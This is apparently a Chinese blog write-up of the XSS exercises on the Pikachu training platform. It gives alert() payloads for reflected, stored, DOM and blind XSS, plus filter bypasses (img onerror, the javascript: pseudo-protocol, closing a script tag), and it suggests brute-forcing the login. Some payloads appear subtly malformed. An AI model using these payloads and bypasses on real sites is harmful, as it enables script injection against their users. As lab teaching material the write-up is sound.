pikachu——xss
本文介绍了在Pikachu平台上测试不同类型XSS漏洞的方法。对于反射型XSS(GET),通过修改输入框长度限制或直接在URL注入脚本;POST型XSS可直接注入脚本成功。存储型XSS直接注入脚本即可触发。DOM型XSS可通过javascript伪协议实现。对于过滤情况,使用img标签的onerror事件绕过。当遇到htmlspecialchars过滤时,可在a标签中使用javascript伪协议
pikachu——反射型xss(get)

输入132,看到URl上出现,直接试一下<script>alert('xss')</script>


发现只能输入<script>alert('xss'),原因是表单设置了输入框数据的长度为20。提交后,页面的内容没有我们输入的值,猜测被过滤了。但在url栏中可以看到<script>alert('xss'),所以把maxlength改成100,再试一下

还有一种办法是直接在URL上添加<script>alert('xss')</script>

pikachu——反射型xss(post)

账号和密码是admin,123456
直接输入<script>alert('xss')</script>试一下

直接成功了,这是我没想到的,在这里如果前期不知道账号和密码,可以试一下爆破
pikachu——存储型xss

直接试一下<script>alert('xss')</script>

pikachu——DOM型xss


这里发现在a标签里,输入javascript:alert(/xss/)

pikachu——DOM型xss-x

pikachu——xss之盲打

无论我们输入什么,他都会提交上去,那么就简单了,直接构造payload:<script>alert('xss')</script>
然后登录xssblind/admin.php

pikachu——xss之过滤

这里发现<script>被过滤了,考虑用其他的,<img src='#' οnerrοr='alert(/xss/)'>

pikachu——xss之htmlspecialchars


使用htmlspecialchars函数会把标签过滤掉
在a标签里面 可以使用 <a href='javascript:alert(/xss/)'>xxx</a>这种payload就不用<>标签

pikachu——xss之href输出

跟上面一样可以使用 javascript:alert(/xss/) 就能弹出xss框

pikachu——xss之js输出
在输入框输入 <h1>1</h1>再查看js脚本
<script>
$ms='<h1>1</h1>';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}
}
</script>
看到输入的值赋值的$ms 但是$ms在后面并没有输出相关内容
所以我们把重点放在闭合标签上 把<script>闭合
所以payload是 '</script>script><script>alert(/xss/)</script>

火山引擎开发者社区是火山引擎打造的AI技术生态平台,聚焦Agent与大模型开发,提供豆包系列模型(图像/视频/视觉)、智能分析与会话工具,并配套评测集、动手实验室及行业案例库。社区通过技术沙龙、挑战赛等活动促进开发者成长,新用户可领50万Tokens权益,助力构建智能应用。
更多推荐
所有评论(0)